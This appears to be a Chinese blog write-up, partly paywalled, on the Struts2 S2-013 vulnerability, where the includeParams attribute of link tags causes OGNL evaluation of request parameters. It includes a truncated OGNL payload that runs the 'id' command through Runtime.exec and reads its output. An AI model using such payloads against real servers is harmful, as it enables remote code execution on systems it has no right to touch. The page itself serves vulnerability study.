[struts2]s2-013
环境搭建
poc

Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:
none - 链接不包含请求的任意参数值(默认)
get - 链接只包含 GET 请求中的参数和其值
all - 链接包含 GET 和 POST 所有参数和其值
<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。
这里直接构造链接:
记得要先url编码:
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2

本文介绍 Struts2 S2-013 漏洞原理,涉及 <s:a> 和 <s:url> 标签的 includeParams 属性配置不当导致的任意命令执行漏洞。通过构造特定 URL 参数,实现远程代码执行。
最低0.47元/天 解锁文章

被折叠的 条评论
为什么被折叠?



